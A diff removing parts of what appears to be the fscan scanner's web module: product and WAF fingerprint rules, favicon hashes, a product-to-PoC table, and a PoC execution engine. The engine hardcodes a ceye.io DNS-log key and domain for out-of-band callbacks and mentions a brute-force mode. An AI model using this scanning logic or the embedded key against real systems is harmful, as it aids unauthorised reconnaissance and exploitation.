if poc != nil {
|
|
||||||
AllPocs = append(AllPocs, poc)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
return nil
|
|
||||||
})
|
|
||||||
if err != nil {
|
|
||||||
fmt.Printf("[-] init poc error: %v", err)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
func filterPoc(pocname string) (pocs []*lib.Poc) {
|
|
||||||
if pocname == "" {
|
|
||||||
return AllPocs
|
|
||||||
}
|
|
||||||
for _, poc := range AllPocs {
|
|
||||||
if strings.Contains(poc.Name, pocname) {
|
|
||||||
pocs = append(pocs, poc)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
return
|
|
||||||
}
|
|
||||||
@@ -1,313 +0,0 @@
|
|||||||
package info
|
|
||||||
|
|
||||||
type RuleData struct {
|
|
||||||
Name string
|
|
||||||
Type string
|
|
||||||
Rule string
|
|
||||||
}
|
|
||||||
|
|
||||||
type Md5Data struct {
|
|
||||||
Name string
|
|
||||||
Md5Str string
|
|
||||||
}
|
|
||||||
|
|
||||||
type PocData struct {
|
|
||||||
Name string
|
|
||||||
Alias string
|
|
||||||
}
|
|
||||||
|
|
||||||
var RuleDatas = []RuleData{
|
|
||||||
{"宝塔", "body", "(app.bt.cn/static/app.png|安全入口校验失败|<title>入口校验失败</title>|href=\"http://www.bt.cn/bbs)"},
|
|
||||||
{"深信服防火墙类产品", "code", "(SANGFOR FW)"},
|
|
||||||
{"360网站卫士", "code", "(webscan.360.cn/status/pai/hash|wzws-waf-cgi|zhuji.360.cn/guard/firewall/stopattack.html)"},
|
|
||||||
{"360网站卫士", "headers", "(360wzws|CWAP-waf|zhuji.360.cn|X-Safe-Firewall)"},
|
|
||||||
{"绿盟防火墙", "code", "(NSFOCUS NF)"},
|
|
||||||
{"绿盟防火墙", "headers", "(NSFocus)"},
|
|
||||||
{"Topsec-Waf", "index", `(<META NAME="Copyright" CONTENT="Topsec Network Security Technology Co.,Ltd"/>","<META NAME="DESCRIPTION" CONTENT="Topsec web UI"/>)`},
|
|
||||||
{"Anquanbao", "headers", "(Anquanbao)"},
|
|
||||||
{"BaiduYunjiasu", "headers", "(yunjiasu)"},
|
|
||||||
{"BigIP", "headers", "(BigIP|BIGipServer)"},
|
|
||||||
{"BinarySEC", "headers", "(binarysec)"},
|
|
||||||
{"BlockDoS", "headers", "(BlockDos.net)"},
|
|
||||||
{"CloudFlare", "headers", "(cloudflare)"},
|
|
||||||
{"Cloudfront", "headers", "(cloudfront)"},
|
|
||||||
{"Comodo", "headers", "(Protected by COMODO)"},
|
|
||||||
{"IBM-DataPower", "headers", "(X-Backside-Transport)"},
|
|
||||||
{"DenyAll", "headers", "(sessioncookie=)"},
|
|
||||||
{"dotDefender", "headers", "(dotDefender)"},
|
|
||||||
{"Incapsula", "headers", "(X-CDN|Incapsula)"},
|
|
||||||
{"Jiasule", "headers", "(jsluid=)"},
|
|
||||||
{"KONA", "headers", "(AkamaiGHost)"},
|
|
||||||
{"ModSecurity", "headers", "(Mod_Security|NOYB)"},
|
|
||||||
{"NetContinuum", "headers", "(Cneonction|nnCoection|citrix_ns_id)"},
|
|
||||||
{"Newdefend", "headers", "(newdefend)"},
|
|
||||||
{"Safe3", "headers", "(Safe3WAF|Safe3 Web Firewall)"},
|
|
||||||
{"Safedog", "code", "(404.safedog.cn/images/safedogsite/broswer_logo.jpg)"},
|
|
||||||
{"Safedog", "headers", "(Safedog|WAF/2.0)"},
|
|
||||||
{"SonicWALL", "headers", "(SonicWALL)"},
|
|
||||||
{"Stingray", "headers", "(X-Mapping-)"},
|
|
||||||
{"Sucuri", "headers", "(Sucuri/Cloudproxy)"},
|
|
||||||
{"Usp-Sec", "headers", "(Secure Entry Server)"},
|
|
||||||
{"Varnish", "headers", "(varnish)"},
|
|
||||||
{"Wallarm", "headers", "(wallarm)"},
|
|
||||||
{"阿里云", "code", "(errors.aliyun.com)"},
|
|
||||||
{"WebKnight", "headers", "(WebKnight)"},
|
|
||||||
{"Yundun", "headers", "(YUNDUN)"},
|
|
||||||
{"Yunsuo", "headers", "(yunsuo)"},
|
|
||||||
{"Coding pages", "header", "(Coding Pages)"},
|
|
||||||
{"启明防火墙", "body", "(/cgi-bin/webui?op=get_product_model)"},
|
|
||||||
{"Shiro", "headers", "(=deleteMe|rememberMe=)"},
|
|
||||||
{"Portainer(Docker管理)", "code", "(portainer.updatePassword|portainer.init.admin)"},
|
|
||||||
{"Gogs简易Git服务", "cookie", "(i_like_gogs)"},
|
|
||||||
{"Gitea简易Git服务", "cookie", "(i_like_gitea)"},
|
|
||||||
{"Nexus", "code", "(Nexus Repository Manager)"},
|
|
||||||
{"Nexus", "cookie", "(NX-ANTI-CSRF-TOKEN)"},
|
|
||||||
{"Harbor", "code", "(<title>Harbor</title>)"},
|
|
||||||
{"Harbor", "cookie", "(harbor-lang)"},
|
|
||||||
{"禅道", "code", "(/theme/default/images/main/zt-logo.png)"},
|
|
||||||
{"禅道", "cookie", "(zentaosid)"},
|
|
||||||
{"协众OA", "code", "(Powered by 协众OA)"},
|
|
||||||
{"协众OA", "cookie", "(CNOAOASESSID)"},
|
|
||||||
{"xxl-job", "code", "(分布式任务调度平台XXL-JOB)"},
|
|
||||||
{"atmail-WebMail", "cookie", "(atmail6)"},
|
|
||||||
{"atmail-WebMail", "code", "(/index.php/mail/auth/processlogin|Powered by Atmail)"},
|
|
||||||
{"weblogic", "code", "(/console/framework/skins/wlsconsole/images/login_WebLogic_branding.png|Welcome to Weblogic Application Server|<i>Hypertext Transfer Protocol -- HTTP/1.1</i>)"},
|
|
||||||
{"致远OA", "code", "(/seeyon/common/|/seeyon/USER-DATA/IMAGES/LOGIN/login.gif)"},
|
|
||||||
{"discuz", "code", "(content=\"Discuz! X\")"},
|
|
||||||
{"Typecho", "code", "(Typecho</a>)"},
|
|
||||||
{"金蝶EAS", "code", "(easSessionId)"},
|
|
||||||
{"phpMyAdmin", "cookie", "(pma_lang|phpMyAdmin)"},
|
|
||||||
{"phpMyAdmin", "code", "(/themes/pmahomme/img/logo_right.png)"},
|
|
||||||
{"H3C-AM8000", "code", "(AM8000)"},
|
|
||||||
{"360企业版", "code", "(360EntWebAdminMD5Secret)"},
|
|
||||||
{"H3C公司产品", "code", "([email protected])"},
|
|
||||||
{"H3C ICG 1000", "code", "(ICG 1000系统管理)"},
|
|
||||||
{"Citrix-Metaframe", "code", "(window.location=\"/Citrix/MetaFrame)"},
|
|
||||||
{"H3C ER5100", "code", "(ER5100系统管理)"},
|
|
||||||
{"阿里云CDN", "code", "(cdn.aliyuncs.com)"},
|
|
||||||
{"CISCO_EPC3925", "code", "(Docsis_system)"},
|
|
||||||
{"CISCO ASR", "code", "(CISCO ASR)"},
|
|
||||||
{"H3C ER3200", "code", "(ER3200系统管理)"},
|
|
||||||
{"万户oa", "code", "(/defaultroot/templates/template_system/common/css/|/defaultroot/scripts/|css/css_whir.css)"},
|
|
||||||
{"Spark_Master", "code", "(Spark Master at)"},
|
|
||||||
{"华为_HUAWEI_SRG2220", "code", "(HUAWEI SRG2220)"},
|
|
||||||
{"蓝凌OA", "code", "(/scripts/jquery.landray.common.js)"},
|
|
||||||
{"深信服ssl-vpn", "code", "(login_psw.csp)"},
|
|
||||||
{"华为 NetOpen", "code", "(/netopen/theme/css/inFrame.css)"},
|
|
||||||
{"Citrix-Web-PN-Server", "code", "(Citrix Web PN Server)"},
|
|
||||||
{"juniper_vpn", "code", "(welcome.cgi?p=logo|/images/logo_juniper_reversed.gif)"},
|
|
||||||
{"360主机卫士", "headers", "(zhuji.360.cn)"},
|
|
||||||
{"Nagios", "headers", "(Nagios Access)"},
|
|
||||||
{"H3C ER8300", "code", "(ER8300系统管理)"},
|
|
||||||
{"Citrix-Access-Gateway", "code", "(Citrix Access Gateway)"},
|
|
||||||
{"华为 MCU", "code", "(McuR5-min.js)"},
|
|
||||||
{"TP-LINK Wireless WDR3600", "code", "(TP-LINK Wireless WDR3600)"},
|
|
||||||
{"泛微OA", "headers", "(ecology_JSessionid)"},
|
|
||||||
{"泛微OA", "code", "(/spa/portal/public/index.js)"},
|
|
||||||
{"华为_HUAWEI_ASG2050", "code", "(HUAWEI ASG2050)"},
|
|
||||||
{"360网站卫士", "code", "(360wzb)"},
|
|
||||||
{"Citrix-XenServer", "code", "(Citrix Systems, Inc. XenServer)"},
|
|
||||||
{"H3C ER2100V2", "code", "(ER2100V2系统管理)"},
|
|
||||||
{"zabbix", "cookie", "(zbx_sessionid)"},
|
|
||||||
{"zabbix", "code", "(images/general/zabbix.ico|Zabbix SIA|zabbix-server: Zabbix)"},
|
|
||||||
{"CISCO_VPN", "headers", "(webvpn)"},
|
|
||||||
{"360站长平台", "code", "(360-site-verification)"},
|
|
||||||
{"H3C ER3108GW", "code", "(ER3108GW系统管理)"},
|
|
||||||
{"o2security_vpn", "headers", "(client_param=install_active)"},
|
|
||||||
{"H3C ER3260G2", "code", "(ER3260G2系统管理)"},
|
|
||||||
{"H3C ICG1000", "code", "(ICG1000系统管理)"},
|
|
||||||
{"CISCO-CX20", "code", "(CISCO-CX20)"},
|
|
||||||
{"H3C ER5200", "code", "(ER5200系统管理)"},
|
|
||||||
{"linksys-vpn-bragap14-parintins", "code", "(linksys-vpn-bragap14-parintins)"},
|
|
||||||
{"360网站卫士常用前端公共库", "code", "(libs.useso.com)"},
|
|
||||||
{"H3C ER3100", "code", "(ER3100系统管理)"},
|
|
||||||
{"H3C-SecBlade-FireWall", "code", "(js/MulPlatAPI.js)"},
|
|
||||||
{"360webfacil_360WebManager", "code", "(publico/template/)"},
|
|
||||||
{"Citrix_Netscaler", "code", "(ns_af)"},
|
|
||||||
{"H3C ER6300G2", "code", "(ER6300G2系统管理)"},
|
|
||||||
{"H3C ER3260", "code", "(ER3260系统管理)"},
|
|
||||||
{"华为_HUAWEI_SRG3250", "code", "(HUAWEI SRG3250)"},
|
|
||||||
{"exchange", "code", "(/owa/auth.owa|Exchange Admin Center)"},
|
|
||||||
{"Spark_Worker", "code", "(Spark Worker at)"},
|
|
||||||
{"H3C ER3108G", "code", "(ER3108G系统管理)"},
|
|
||||||
{"Citrix-ConfProxy", "code", "(confproxy)"},
|
|
||||||
{"360网站安全检测", "code", "(webscan.360.cn/status/pai/hash)"},
|
|
||||||
{"H3C ER5200G2", "code", "(ER5200G2系统管理)"},
|
|
||||||
{"华为(HUAWEI)安全设备", "code", "(sweb-lib/resource/)"},
|
|
||||||
{"华为(HUAWEI)USG", "code", "(UI_component/commonDefine/UI_regex_define.js)"},
|
|
||||||
{"H3C ER6300", "code", "(ER6300系统管理)"},
|
|
||||||
{"华为_HUAWEI_ASG2100", "code", "(HUAWEI ASG2100)"},
|
|
||||||
{"TP-Link 3600 DD-WRT", "code", "(TP-Link 3600 DD-WRT)"},
|
|
||||||
{"NETGEAR WNDR3600", "code", "(NETGEAR WNDR3600)"},
|
|
||||||
{"H3C ER2100", "code", "(ER2100系统管理)"},
|
|
||||||
{"jira", "code", "(jira.webresources)"},
|
|
||||||
{"金和协同管理平台", "code", "(金和协同管理平台)"},
|
|
||||||
{"Citrix-NetScaler", "code", "(NS-CACHE)"},
|
|
||||||
{"linksys-vpn", "headers", "(linksys-vpn)"},
|
|
||||||
{"通达OA", "code", "(/static/images/tongda.ico|http://www.tongda2000.com|通达OA移动版|Office Anywhere)"},
|
|
||||||
{"华为(HUAWEI)Secoway设备", "code", "(Secoway)"},
|
|
||||||
{"华为_HUAWEI_SRG1220", "code", "(HUAWEI SRG1220)"},
|
|
||||||
{"H3C ER2100n", "code", "(ER2100n系统管理)"},
|
|
||||||
{"H3C ER8300G2", "code", "(ER8300G2系统管理)"},
|
|
||||||
{"金蝶政务GSiS", "code", "(/kdgs/script/kdgs.js)"},
|
|
||||||
{"Jboss", "code", "(Welcome to JBoss|jboss.css)"},
|
|
||||||
{"Jboss", "headers", "(JBoss)"},
|
|
||||||
{"泛微E-mobile", "code", "(Weaver E-mobile|weaver,e-mobile)"},
|
|
||||||
{"泛微E-mobile", "headers", "(EMobileServer)"},
|
|
||||||
{"齐治堡垒机", "code", "(logo-icon-ico72.png|resources/themes/images/logo-login.png)"},
|
|
||||||
{"ThinkPHP", "headers", "(ThinkPHP)"},
|
|
||||||
{"ThinkPHP", "code", "(/Public/static/js/)"},
|
|
||||||
{"weaver-ebridge", "code", "(e-Bridge,http://wx.weaver)"},
|
|
||||||
{"Laravel", "headers", "(laravel_session)"},
|
|
||||||
{"DWR", "code", "(dwr/engine.js)"},
|
|
||||||
{"swagger_ui", "code", "(swagger-ui/css|\"swagger\":|swagger-ui.min.js)"},
|
|
||||||
{"大汉版通发布系统", "code", "(大汉版通发布系统|大汉网络)"},
|
|
||||||
{"druid", "code", "(druid.index|DruidDrivers|DruidVersion|Druid Stat Index)"},
|
|
||||||
{"Jenkins", "code", "(Jenkins)"},
|
|
||||||
{"红帆OA", "code", "(iOffice)"},
|
|
||||||
{"VMware vSphere", "code", "(VMware vSphere)"},
|
|
||||||
{"打印机", "code", "(打印机|media/canon.gif)"},
|
|
||||||
{"finereport", "code", "(isSupportForgetPwd|FineReport,Web Reporting Tool)"},
|
|
||||||
{"蓝凌OA", "code", "(蓝凌软件|StylePath:\"/resource/style/default/\"|/resource/customization|sys/ui/extend/theme/default/style/profile.css|sys/ui/extend/theme/default/style/icon.css)"},
|
|
||||||
{"GitLab", "code", "(href=\"https://about.gitlab.com/)"},
|
|
||||||
{"Jquery-1.7.2", "code", "(/webui/js/jquerylib/jquery-1.7.2.min.js)"},
|
|
||||||
{"Hadoop Applications", "code", "(/cluster/app/application)"},
|
|
||||||
{"海昌OA", "code", "(/loginmain4/js/jquery.min.js)"},
|
|
||||||
{"帆软报表", "code", "(WebReport/login.html|ReportServer)"},
|
|
||||||
{"帆软报表", "headers", "(数据决策系统)"},
|
|
||||||
{"华夏ERP", "headers", "(华夏ERP)"},
|
|
||||||
{"金和OA", "cookie", "(ASPSESSIONIDSSCDTDBS)"},
|
|
||||||
{"久其财务报表", "code", "(netrep/login.jsp|/netrep/intf)"},
|
|
||||||
{"若依管理系统", "code", "(ruoyi/login.js|ruoyi/js/ry-ui.js)"},
|
|
||||||
{"启莱OA", "code", "(js/jQselect.js|js/jquery-1.4.2.min.js)"},
|
|
||||||
{"智慧校园管理系统", "code", "(DC_Login/QYSignUp)"},
|
|
||||||
{"JQuery-1.7.2", "code", "(webui/js/jquerylib/jquery-1.7.2.min.js)"},
|
|
||||||
{"浪潮 ClusterEngineV4.0", "code", "(0;url=module/login/login.html)"},
|
|
||||||
{"会捷通云视讯平台", "code", "(him/api/rest/v1.0/node/role|him.app)"},
|
|
||||||
{"源码泄露账号密码 F12查看", "code", "(get_dkey_passwd)"},
|
|
||||||
{"Smartbi Insight", "code", "(smartbi.gcf.gcfutil)"},
|
|
||||||
{"汉王人脸考勤管理系统", "code", "(汉王人脸考勤管理系统|/Content/image/hanvan.png|/Content/image/hvicon.ico)"},
|
|
||||||
{"亿赛通-电子文档安全管理系统", "code", "(电子文档安全管理系统|/CDGServer3/index.jsp|/CDGServer3/SysConfig.jsp|/CDGServer3/help/getEditionInfo.jsp)"},
|
|
||||||
{"天融信 TopApp-LB 负载均衡系统", "code", "(TopApp-LB 负载均衡系统)"},
|
|
||||||
{"中新金盾信息安全管理系统", "code", "(中新金盾信息安全管理系统|中新网络信息安全股份有限公司)"},
|
|
||||||
{"好视通", "code", "(深圳银澎云计算有限公司|itunes.apple.com/us/app/id549407870|hao-shi-tong-yun-hui-yi-yuan)"},
|
|
||||||
{"蓝海卓越计费管理系统", "code", "(蓝海卓越计费管理系统|星锐蓝海网络科技有限公司)"},
|
|
||||||
{"和信创天云桌面系统", "code", "(和信下一代云桌面VENGD|/vesystem/index.php)"},
|
|
||||||
{"金山", "code", "(北京猎鹰安全科技有限公司|金山终端安全系统V9.0Web控制台|北京金山安全管理系统技术有限公司|金山V8)"},
|
|
||||||
{"WIFISKY-7层流控路由器", "code", "(深圳市领空技术有限公司|WIFISKY 7层流控路由器)"},
|
|
||||||
{"MetInfo-米拓建站", "code", "(MetInfo|/skin/style/metinfo.css|/skin/style/metinfo-v2.css)"},
|
|
||||||
{"IBM-Lotus-Domino", "code", "(/mailjump.nsf|/domcfg.nsf|/names.nsf|/homepage.nsf)"},
|
|
||||||
{"APACHE-kylin", "code", "(url=kylin)"},
|
|
||||||
{"C-Lodop打印服务系统", "code", "(/CLodopfuncs.js|www.c-lodop.com)"},
|
|
||||||
{"ATLASSIAN-Confluence", "code", "(Atlassian Confluence)"},
|
|
||||||
{"HFS", "code", "(href=\"http://www.rejetto.com/hfs/)"},
|
|
||||||
{"Jellyfin", "code", "(content=\"http://jellyfin.org\")"},
|
|
||||||
{"FIT2CLOUD-JumpServer-堡垒机", "code", "(<title>JumpServer</title>)"},
|
|
||||||
{"Alibaba Nacos", "code", "(<title>Nacos</title>)"},
|
|
||||||
{"Nagios", "headers", "(nagios admin)"},
|
|
||||||
{"Pulse Connect Secure", "code", "(/dana-na/imgs/space.gif)"},
|
|
||||||
{"h5ai", "code", "(powered by h5ai)"},
|
|
||||||
{"jeesite", "cookie", "(jeesite.session.id)"},
|
|
||||||
{"拓尔思SSO", "cookie", "(trsidsssosessionid)"},
|
|
||||||
{"拓尔思WCMv7/6", "cookie", "(com.trs.idm.coSessionId)"},
|
|
||||||
{"天融信脆弱性扫描与管理系统", "code", "(/js/report/horizontalReportPanel.js)"},
|
|
||||||
{"天融信网络审计系统", "code", "(onclick=dlg_download())"},
|
|
||||||
{"天融信日志收集与分析系统", "code", "(天融信日志收集与分析系统)"},
|
|
||||||
{"URP教务系统", "code", "(北京清元优软科技有限公司)"},
|
|
||||||
{"科来RAS", "code", "(科来软件 版权所有|i18ninit.min.js)"},
|
|
||||||
{"正方OA", "code", "(zfoausername)"},
|
|
||||||
{"希尔OA", "code", "(/heeroa/login.do)"},
|
|
||||||
{"泛普建筑工程施工OA", "code", "(/dwr/interface/LoginService.js)"},
|
|
||||||
{"中望OA", "code", "(/IMAGES/default/first/xtoa_logo.png|/app_qjuserinfo/qjuserinfoadd.jsp)"},
|
|
||||||
{"海天OA", "code", "(HTVOS.js)"},
|
|
||||||
{"信达OA", "code", "(http://www.xdoa.cn</a>)"},
|
|
||||||
{"任我行CRM", "code", "(CRM_LASTLOGINUSERKEY)"},
|
|
||||||
{"Spammark邮件信息安全网关", "code", "(/cgi-bin/spammark?empty=1)"},
|
|
||||||
{"winwebmail", "code", "(WinWebMail Server|images/owin.css)"},
|
|
||||||
{"浪潮政务系统", "code", "(LangChao.ECGAP.OutPortal|OnlineQuery/QueryList.aspx)"},
|
|
||||||
{"天融信防火墙", "code", "(/cgi/maincgi.cgi)"},
|
|
||||||
{"网神防火墙", "code", "(css/lsec/login.css)"},
|
|
||||||
{"帕拉迪统一安全管理和综合审计系统", "code", "(module/image/pldsec.css)"},
|
|
||||||
{"蓝盾BDWebGuard", "code", "(BACKGROUND: url(images/loginbg.jpg) #e5f1fc)"},
|
|
||||||
{"Huawei SMC", "code", "(Script/SmcScript.js?version=)"},
|
|
||||||
{"coremail", "code", "(/coremail/bundle/|contextRoot: \"/coremail\"|coremail/common)"},
|
|
||||||
{"activemq", "code", "(activemq_logo|Manage ActiveMQ broker)"},
|
|
||||||
{"锐捷网络", "code", "(static/img/title.ico|support.ruijie.com.cn|Ruijie - NBR|eg.login.loginBtn)"},
|
|
||||||
{"禅道", "code", "(/theme/default/images/main/zt-logo.png|zentaosid)"},
|
|
||||||
{"weblogic", "code", "(/console/framework/skins/wlsconsole/images/login_WebLogic_branding.png|Welcome to Weblogic Application Server|<i>Hypertext Transfer Protocol -- HTTP/1.1</i>|<TITLE>Error 404--Not Found</TITLE>|Welcome to Weblogic Application Server|<title>Oracle WebLogic Server 管理控制台</title>)"},
|
|
||||||
{"weblogic", "headers", "(WebLogic)"},
|
|
||||||
{"致远OA", "code", "(/seeyon/USER-DATA/IMAGES/LOGIN/login.gif|/seeyon/common/)"},
|
|
||||||
{"蓝凌EIS智慧协同平台", "code", "(/scripts/jquery.landray.common.js)"},
|
|
||||||
{"深信服ssl-vpn", "code", "(login_psw.csp|loginPageSP/loginPrivacy.js|/por/login_psw.csp)"},
|
|
||||||
{"Struts2", "code", "(org.apache.struts2|Struts Problem Report|struts.devMode|struts-tags|There is no Action mapped for namespace)"},
|
|
||||||
{"泛微OA", "code", "(/spa/portal/public/index.js|wui/theme/ecology8/page/images/login/username_wev8.png|/wui/index.html#/?logintype=1)"},
|
|
||||||
{"Swagger UI", "code", "(/swagger-ui.css|swagger-ui-bundle.js|swagger-ui-standalone-preset.js)"},
|
|
||||||
{"金蝶政务GSiS", "code", "(/kdgs/script/kdgs.js|HTML5/content/themes/kdcss.min.css|/ClientBin/Kingdee.BOS.XPF.App.xap)"},
|
|
||||||
{"蓝凌OA", "code", "(蓝凌软件|StylePath:\"/resource/style/default/\"|/resource/customization|sys/ui/extend/theme/default/style/icon.css|sys/ui/extend/theme/default/style/profile.css)"},
|
|
||||||
{"用友NC", "code", "(Yonyou UAP|YONYOU NC|/Client/Uclient/UClient.dmg|logo/images/ufida_nc.png|iufo/web/css/menu.css|/System/Login/Login.asp?AppID=|/nc/servlet/nc.ui.iufo.login.Index)"},
|
|
||||||
{"用友IUFO", "code", "(iufo/web/css/menu.css)"},
|
|
||||||
{"TELEPORT堡垒机", "code", "(/static/plugins/blur/background-blur.js)"},
|
|
||||||
{"JEECMS", "code", "(/r/cms/www/red/js/common.js|/r/cms/www/red/js/indexshow.js|Powered by JEECMS|JEECMS|/jeeadmin/jeecms/index.do)"},
|
|
||||||
{"CMS", "code", "(Powered by .*CMS)"},
|
|
||||||
{"目录遍历", "code", "(Directory listing for /)"},
|
|
||||||
{"向日葵", "code", "({\"success\":false,\"msg\":\"Verification failure\"})"},
|
|
||||||
{"Kubernetes", "code", "(Kubernetes Dashboard</title>|Kubernetes Enterprise Manager|Mirantis Kubernetes Engine|Kubernetes Resource Report)"},
|
|
||||||
{"WordPress", "code", "(/wp-login.php?action=lostpassword|WordPress</title>)"},
|
|
||||||
{"RabbitMQ", "code", "(RabbitMQ Management)"},
|
|
||||||
{"dubbo", "headers", "(Basic realm=\"dubbo\")"},
|
|
||||||
{"Spring env", "code", "(logback)"},
|
|
||||||
{"ueditor", "code", "(ueditor.all.js|UE.getEditor)"},
|
|
||||||
{"亿邮电子邮件系统", "code", "(亿邮电子邮件系统|亿邮邮件整体解决方案)"},
|
|
||||||
}
|
|
||||||
|
|
||||||
var Md5Datas = []Md5Data{
|
|
||||||
{"BIG-IP", "04d9541338e525258daf47cc844d59f3"},
|
|
||||||
{"蓝凌OA", "302464c3f6207d57240649926cfc7bd4"},
|
|
||||||
{"JBOSS", "799f70b71314a7508326d1d2f68f7519"},
|
|
||||||
{"锐捷网络", "d8d7c9138e93d43579ebf2e384745ba8"},
|
|
||||||
{"锐捷网络", "9c21df9129aeec032df8ac15c84e050d"},
|
|
||||||
{"锐捷网络", "a45883b12d753bc87aff5bddbef16ab3"},
|
|
||||||
{"深信服edr", "0b24d4d5c7d300d50ee1cd96059a9e85"},
|
|
||||||
{"致远OA", "cdc85452665e7708caed3009ecb7d4e2"},
|
|
||||||
{"致远OA", "17ac348fcce0b320e7bfab3fe2858dfa"},
|
|
||||||
{"致远OA", "57f307ad3764553df84e7b14b7a85432"},
|
|
||||||
{"致远OA", "3c8df395ec2cbd72782286d18a286a9a"},
|
|
||||||
{"致远OA", "2f761c27b6b7f9386bbd61403635dc42"},
|
|
||||||
{"齐治堡垒机", "48ee373f098d8e96e53b7dd778f09ff4"},
|
|
||||||
{"SpringBoot", "0488faca4c19046b94d07c3ee83cf9d6"},
|
|
||||||
{"ThinkPHP", "f49c4a4bde1eec6c0b80c2277c76e3db"},
|
|
||||||
{"通达OA", "ed0044587917c76d08573577c8b72883"},
|
|
||||||
{"泛微E-mobile", "41eca7a9245394106a09b2534d8030df"},
|
|
||||||
{"泛微OA", "c27547e27e1d2c7514545cd8d5988946"},
|
|
||||||
{"泛微OA", "9b1d3f08ede38dbe699d6b2e72a8febb"},
|
|
||||||
{"泛微OA", "281348dd57383c1f214ffb8aed3a1210"},
|
|
||||||
{"GitLab", "85c754581e1d4b628be5b7712c042224"},
|
|
||||||
{"Hikvision-视频监控", "89b932fcc47cf4ca3faadb0cfdef89cf"},
|
|
||||||
{"华夏erp", "c68b15c45cf80115a943772f7d0028a6"},
|
|
||||||
{"OpenSNS", "08711abfb016a55c0e84f7b54bef5632"},
|
|
||||||
{"MetInfo-米拓建站", "2a9541b5c2225ed2f28734c0d75e456f"},
|
|
||||||
{"IBM-Lotus-Domino", "36c1002bb579edf52a472b9d2e39bb50"},
|
|
||||||
{"IBM-Lotus-Domino", "639b61409215d770a99667b446c80ea1"},
|
|
||||||
{"ATLASSIAN-Confluence", "b91d19259cf480661ef93b67beb45234"},
|
|
||||||
{"activemq", "05664fb0c7afcd6436179437e31f3aa6"},
|
|
||||||
{"coremail", "ad74ff8f9a2f630fc2c5e6b3aa0a5cb8"},
|
|
||||||
}
|
|
||||||
|
|
||||||
var PocDatas = []PocData{
|
|
||||||
{"致远OA", "seeyon"},
|
|
||||||
{"泛微OA", "weaver"},
|
|
||||||
{"通达OA", "tongda"},
|
|
||||||
{"蓝凌OA", "landray"},
|
|
||||||
{"ThinkPHP", "thinkphp"},
|
|
||||||
{"Nexus", "nexus"},
|
|
||||||
{"齐治堡垒机", "qizhi"},
|
|
||||||
{"weaver-ebridge", "weaver-ebridge"},
|
|
||||||
{"weblogic", "weblogic"},
|
|
||||||
{"zabbix", "zabbix"},
|
|
||||||
{"VMware vSphere", "vmware"},
|
|
||||||
{"Jboss", "jboss"},
|
|
||||||
{"用友", "yongyou"},
|
|
||||||
{"用友IUFO", "yongyou"},
|
|
||||||
{"coremail", "coremail"},
|
|
||||||
{"金山", "kingsoft"},
|
|
||||||
}
|
|
||||||
@@ -1,528 +0,0 @@
|
|||||||
package lib
|
|
||||||
|
|
||||||
import (
|
|
||||||
"crypto/md5"
|
|
||||||
"fmt"
|
|
||||||
"github.com/google/cel-go/cel"
|
|
||||||
"github.com/shadow1ng/fscan/WebScan/info"
|
|
||||||
"github.com/shadow1ng/fscan/common"
|
|
||||||
"math/rand"
|
|
||||||
"net/http"
|
|
||||||
"net/url"
|
|
||||||
"regexp"
|
|
||||||
"strings"
|
|
||||||
"sync"
|
|
||||||
"time"
|
|
||||||
)
|
|
||||||
|
|
||||||
var (
|
|
||||||
ceyeApi = "a78a1cb49d91fe09e01876078d1868b2"
|
|
||||||
ceyeDomain = "7wtusr.ceye.io"
|
|
||||||
)
|
|
||||||
|
|
||||||
type Task struct {
|
|
||||||
Req *http.Request
|
|
||||||
Poc *Poc
|
|
||||||
}
|
|
||||||
|
|
||||||
func CheckMultiPoc(req *http.Request, pocs []*Poc, workers int) {
|
|
||||||
tasks := make(chan Task)
|
|
||||||
var wg sync.WaitGroup
|
|
||||||
for i := 0; i < workers; i++ {
|
|
||||||
go func() {
|
|
||||||
for task := range tasks {
|
|
||||||
isVul, _, name := executePoc(task.Req, task.Poc)
|
|
||||||
if isVul {
|
|
||||||
result := fmt.Sprintf("[+] %s %s %s", task.Req.URL, task.Poc.Name, name)
|
|
||||||
common.LogSuccess(result)
|
|
||||||
}
|
|
||||||
wg.Done()
|
|
||||||
}
|
|
||||||
}()
|
|
||||||
}
|
|
||||||
for _, poc := range pocs {
|
|
||||||
task := Task{
|
|
||||||
Req: req,
|
|
||||||
Poc: poc,
|
|
||||||
}
|
|
||||||
wg.Add(1)
|
|
||||||
tasks <- task
|
|
||||||
}
|
|
||||||
wg.Wait()
|
|
||||||
close(tasks)
|
|
||||||
}
|
|
||||||
|
|
||||||
func executePoc(oReq *http.Request, p *Poc) (bool, error, string) {
|
|
||||||
c := NewEnvOption()
|
|
||||||
c.UpdateCompileOptions(p.Set)
|
|
||||||
if len(p.Sets) > 0 {
|
|
||||||
var setMap StrMap
|
|
||||||
for _, item := range p.Sets {
|
|
||||||
if len(item.Value) > 0 {
|
|
||||||
setMap = append(setMap, StrItem{item.Key, item.Value[0]})
|
|
||||||
} else {
|
|
||||||
setMap = append(setMap, StrItem{item.Key, ""})
|
|
||||||
}
|
|
||||||
}
|
|
||||||
c.UpdateCompileOptions(setMap)
|
|
||||||
}
|
|
||||||
env, err := NewEnv(&c)
|
|
||||||
if err != nil {
|
|
||||||
fmt.Printf("[-] %s environment creation error: %s\n", p.Name, err)
|
|
||||||
return false, err, ""
|
|
||||||
}
|
|
||||||
req, err := ParseRequest(oReq)
|
|
||||||
if err != nil {
|
|
||||||
fmt.Printf("[-] %s ParseRequest error: %s\n", p.Name, err)
|
|
||||||
return false, err, ""
|
|
||||||
}
|
|
||||||
variableMap := make(map[string]interface{})
|
|
||||||
defer func() { variableMap = nil }()
|
|
||||||
variableMap["request"] = req
|
|
||||||
for _, item := range p.Set {
|
|
||||||
k, expression := item.Key, item.Value
|
|
||||||
if expression == "newReverse()" {
|
|
||||||
if !common.DnsLog {
|
|
||||||
return false, nil, ""
|
|
||||||
}
|
|
||||||
variableMap[k] = newReverse()
|
|
||||||
continue
|
|
||||||
}
|
|
||||||
err, _ = evalset(env, variableMap, k, expression)
|
|
||||||
if err != nil {
|
|
||||||
fmt.Printf("[-] %s evalset error: %v", p.Name, err)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
success := false
|
|
||||||
//爆破模式,比如tomcat弱口令
|
|
||||||
if len(p.Sets) > 0 {
|
|
||||||
success, err = clusterpoc(oReq, p, variableMap, req, env)
|
|
||||||
return success, nil, ""
|
|
||||||
}
|
|
||||||
|
|
||||||
